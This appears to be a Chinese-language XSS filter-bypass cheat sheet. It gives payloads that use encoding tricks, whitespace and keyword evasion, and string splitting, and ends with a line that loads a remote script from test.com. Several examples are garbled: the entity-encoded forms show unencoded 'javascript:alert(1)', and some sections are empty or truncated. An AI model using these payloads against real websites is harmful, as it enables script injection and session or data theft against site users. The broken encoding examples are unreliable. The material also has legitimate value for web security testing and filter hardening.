xss绕过总结
xss绕过总结
一、xss 常见标签语句
1 | `<a href="javascript:alert(1)">test</a>` |
二、xss 常见绕过
1.编码绕过
浏览器对 XSS 代码的解析顺序为:**HTML解码 —— URL解码 —— JS解码(只支持UNICODE)**。
1.html 实体编码
当可控点为单个标签属性时,可以使用 html 实体编码。
1 | `<a href="可控点">test</a>` |
1 | `<a href="javascript:alert(1)">test</a>` |
十进制
1 | `<a href="javascript:alert(1)">test</a>` |
十六进制
可以不带分号
可以填充0
2.url 编码
当注入点存在 href 或者 src 属性时,可以使用 url 编码。
1 | `<a href="javascript:alert(1)">test</a>` |
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
1 | `<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>` |
可以二次编码
3.js 编码
解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074
进行解码后为alert
,而alert
是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。
由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。
1 | `<img src=x onerror="alert(1)">` |
Unicode 编码
1 | `<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">` |
注:Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。
八进制和十六进制
setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
语法:setTimeout(要执行的代码, 等待的毫秒数)
1 | `setTimeout(JavaScript 函数, 等待的毫秒数)` |
1 | `<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>` |
4.混合编码
由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。
1 | `1. 原代码 |
注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。
5.base64 编码
base64 编码通常需要使用到 data 伪协议。
data 协议使用方法:data:资源类型;编码,内容
base64编码内容为
1 | `<script>alert(/xss/)</script>` |
通常与 base64 编码配合 data 协议的标签有
1 | `1.<object> 标签 |
atob 函数
atob() 方法用于解码使用 base-64 编码的字符串。
语法:window.atob(encodedStr)
(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)
1 | `<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>` |
6. ascii 编码
2.空格过滤绕过
<html><img**AA**src**AA**onerror**BB**=**BB**alert**CC**(1)**DD**</html>
A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>
3.圆括号过滤绕过
1.反引号替换
2.throw 绕过
1 | `<video src onerror="javascript:window.onerror=alert;throw 1">` |
4.单引号过滤绕过
1.斜杠替换
2.反引号替换
5.alert 过滤绕过
1.prompt,confirm,console.log,document.write
替换
2.base64 绕过
6.关键词置空绕过
1.大小写绕过
2.嵌套绕过
7.函数拼接
1.eval,top,window,self,parent,frames
1 | `<img src="x" onerror="eval('al'+'ert(1)')">` |
2.常用函数
1 | `<img src="x" onerror="eval(alert(1))">` |
8.赋值拼接
1 | `<img src onerror=_=alert,_(1)>` |
9.拆分法
1 | `<script>a='document.write("'</script>` |
通过上面的拆分法可以拼凑出下面完整的攻击向量:
1 | `document.write("<script src = http://test.com/xss.js></script>")` |